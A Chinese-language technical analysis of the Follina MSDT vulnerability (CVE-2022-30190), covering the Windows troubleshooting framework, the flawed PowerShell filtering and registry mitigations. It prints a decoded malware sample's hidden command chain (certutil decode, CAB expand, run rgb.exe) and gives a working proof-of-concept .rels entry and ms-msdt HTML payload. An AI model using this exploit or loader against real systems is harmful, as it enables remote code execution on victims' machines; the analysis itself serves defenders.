相关知识
WTP框架
windows疑难解答平台(WTP)为ISV、OEM和管理员提供了疑难解答包的过程,这些包用于发现和解决计算机上的问题。WTP框架提供自动化检测修复方式。
底层结构
- WTP由两个进程组成,Process1是带UI的Troubleshooting Run-time Engine,Process2用于提供window PowerShell Runtime环境。
- Process2提供的PowerShell运行时环境提供了4条特殊的PowerShell命令:Get-DiagInput、Update-DiagReport、Update-DiagRootCause、Write-DiagProgress
- Troubleshooting Pack运行在Process1和Process2所构建的平台上。
工作原理
故障排除包是用户可编程部分,本质上是一组针对特定故障的检测修复脚本。Process1(Troubleshooting Run-time Engine)通过故障排除包获取检测脚本检测问题,查出问题交给Process2(PowerShell)运行处理。
Process1是msdt.exe,Process2是sdiagnhost.exe
sdiagnhost.exe为了给msdt.exe提供运行脚本的能力,注册了IScriptedDiagnosticHost com接口,相应的com方法是RunScript()
故障排除包的设计基于三个步骤:检测问题(troubleshooting)、解决问题(resolution)和验证解决方案(verificationg),对应TS、RS、VF三种脚本。
漏洞成因
WTP提供了一系列默认故障排除包,可以在ms-msdt协议里通过-id参数指定。
CVE-2022-30190使用PCWDiagnostic,用于程序兼容性故障排除。
0x00 漏洞描述
Microsoft Office MSDT存在远程代码执行漏洞,攻击者可以利用Office文件中的远程模块功能,访问远程服务器上挂载的恶意HTML文件,之后通过ms-msdt URL来执行恶意powershell代码,漏洞在宏被禁用的情况下依然可以利用。
0x01 漏洞分析
CVE-2022-30190本质上是PowerShell代码注入漏洞。MSDT和Powershell的C:\Windows\diagnostics\system\PCW\TS_ProgramCompatibilityWizard.ps1脚本交互,相关的IT_BrowseForFile参数存在命令注入,最终的调用PowerShell动态执行。
影响版本:
Microsoft Windows Server 2008 SP2
Microsoft Windows 11
Microsoft Windows Server 2019
Microsoft Windows 10 1607
Microsoft Windows Server 20H2
Microsoft Windows Server 2022
Microsoft Windows Server 2016 (Server Core installation)
Microsoft Windows Server 2016 null
Microsoft Windows 10
Microsoft Windows 10 1809
Microsoft Windows Server 2008 R2 SP1
Microsoft Windows Server 2022 (Server Core installation)
Microsoft Windows Server 2019 (Server Core installation)
Microsoft Windows 8.1
Microsoft Windows 10 20H2
Microsoft Windows 10 21H2
Microsoft Windows Server 2012 R2
Microsoft Windows 7 SP1
Microsoft Windows RT 8.1 SP0
Microsoft Windows Server 2012
Microsoft Windows 10 21H1
Microsoft Windows Server 2022 Azure Edition Core Hotpatch
样本分析
样本是docx文件,解压,其中/word/_rels目录下的document.xml.rels文件包含对https://www.xmlformats.com/office/word/2022/wordprocessingDrawing/RDF842l.html的外部引用。
RDF842l.html原始内容:
使用了4个参数,IT_RebrowseForFile、IT_LaunchMethod、IT_SelectProgram、IT_BrowseForFile。利用IT_BrowseForFile参数加载了powershell脚本执行恶意功能。4096字节的A填充,是windows诊断工具的缓冲区大小。
<!doctype html>
<html lang="en">
<body>
<script>
</script>
</body>
</html>
首先使用window.location.href创建窗口,ms-msdt是windows诊断工具,之后调用powershell,执行的内容经过了base64加密
解密得到
$cmd = "c:\windows\system32\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
启动隐藏窗口:
如果msdt.exe正在运行,终止它
循环遍历RAR文件中的文件,查找编码CAB文件的Base64字符串
将Base64字符串编码的cab文件保存1.c
将1.c cab文件展开到当前目录
最后执行rgb.exe
因此window会无限制执行powershell.如果修改成想要执行的代码,就会导致远程代码执行漏洞。因此,只需修改xml文件,引用网站上的恶意代码就行。
触发条件
在Microsoft.Windows.Diagnosis.SDHost.dll里的Microsoft.Windows.Diagnosis.ManagedHost.Run Script()方法实现了IScriptedDiagnosticHost com接口里的RunScript方法,用于给msdt.exe提供执行检测脚本所需要的PowerShell运行时环境,然后重新触发漏洞。RunScript()方法一共被触发了两次,第一次用于调用TS脚本,第二次用于调用RS脚本。
要触发对RS_ProgramCompatibityWizard.ps1的调用,要先通过TS_ProgramCompatibilityWizard.ps1脚本的检测
TS_ProgramCompatibilityWizard.ps1
Get-DiagInput用于从用户获取输入的信息,获取传入的IT_BrowseForFile参数,并赋值给$selectedProgram变量。
if(-not($ChoicesAvailable))
{
$selectedProgram = Get-DiagInput -id IT_BrowseForFile
}
else
{
$selectedProgram = Get-DiagInput -id IT_SelectProgram -choice $choices
## If the user chose the option "Not listed" we will ask them to browse for a file
if($selectedProgram -eq "NotListed")
{
$selectedProgram = Get-DiagInput -id IT_BrowseForFile
}
}
调用Test-Selection方法对$selectedProgram进行检测。使用test_path命令来对路径进行检测,确保路径存在,对于/../返回到根路径之外的路径返回True,要求路径的扩展名为exe和msi。
function Test-Selection([string]$appPath)
{
$testresult = $false
if(($appPath -ne $null) -and -not([String]::IsNullOrEmpty($appPath)))
{
$testresult = test-path -literalpath $appPath
if($testresult)
{
if(-not($type::IsFileProtected($appPath)))
{
$extension = [System.IO.Path]::GetExtension($appPath)
$testresult = ($extension -eq ".exe") -or ($extension -eq ".msi")
}
else
{
$testresult = $false
Set-Variable -name rebrowseText -value $CompatibilityStrings.Text_FILE_PROTECTED -scope global
}
}
}
Set-Variable -name appValid -value $testResult -scope global
}
从$selectedProgram提取文件名,过滤$符号,防止代码注入。由于脚本直接使用$,$实际会在过滤前被PowerShell引擎解析,所以无法起到过滤$字符的作用。
正确写法应为 $appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace(“`$”, “``$”)
while(-not($appValid))
{
$InstanceId++
$selection = $selectedProgram
$selectedProgram = Get-DiagInput -id IT_RebrowseForFile -parameter @{ "SelectedProgram" = $selection; "RebrowseText" = $rebrowseText; "Instance" = $InstanceId }
Set-Variable -name rebrowseText -value $CompatibilityStrings.Text_FILE_INVALID -scope global
Test-Selection($selectedProgram)
}
$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("$", "`$")
TS最后使用Update-DiagRootCause命令,用于报告root cause的状态。会触发RS_脚本,parameter指定的字典会被作为参数传给脚本,导致第二次调用RunScript()方法,并且参数中-TargetPath可控,进而触发了漏洞。
if ($UpdateChoice -eq "ts_Manual")
{
$Env:RecommendedLayer = $AppInfo[2]
Update-DiagRootCause -id "RC_IncompatibleApplication" -iid $appName -Detected $true -parameter @{ "TARGETPATH" = $selectedProgram; "APPNAME" = $appName}
}
else
{
Start-Process -FilePath $AppInfo[1]
}
0x02 漏洞利用
1.新建word文档,后缀更改为zip,打开后编辑/word/_regs目录下的document.xml.rels按照格式加入。
<Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObje ct" Target="mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html" TargetMode="External"/>
2.建一个文件夹作为web站点目录,新建exploit.html文件添加(弹计算器)
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=?
IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(\\\\localhost\\c$\\windows\\system32\\calc)/.exe\"";
<script>
IT_RebrowseForFile参数开头至少需要两次/../目录遍历
包含$()中的代码会通过PowerShell执行
.exe必须是IT_BrowseForFile参数末尾的最后一个字符串
0x03 漏洞修复
缓解方法:
1.禁用MSDT URL协议阻止使用漏洞的恶意攻击。
2.禁用MSDT URL协议可防止故障排除应用程序作为链接启动,包括整个操作系统的链接。
禁用方法:
1.以管理员身份运行命令提示符
2.备份注册表项,执行命令reg export HKEY_CLASSES_ROOT\ms-msdt [filename]
3.执行命令reg delete HKEY_CLASSES_ROOT\ms-msdt
撤销禁用:
1.以管理员身份运行命令提示符
2.恢复注册表项,执行命令“reg import [filename]”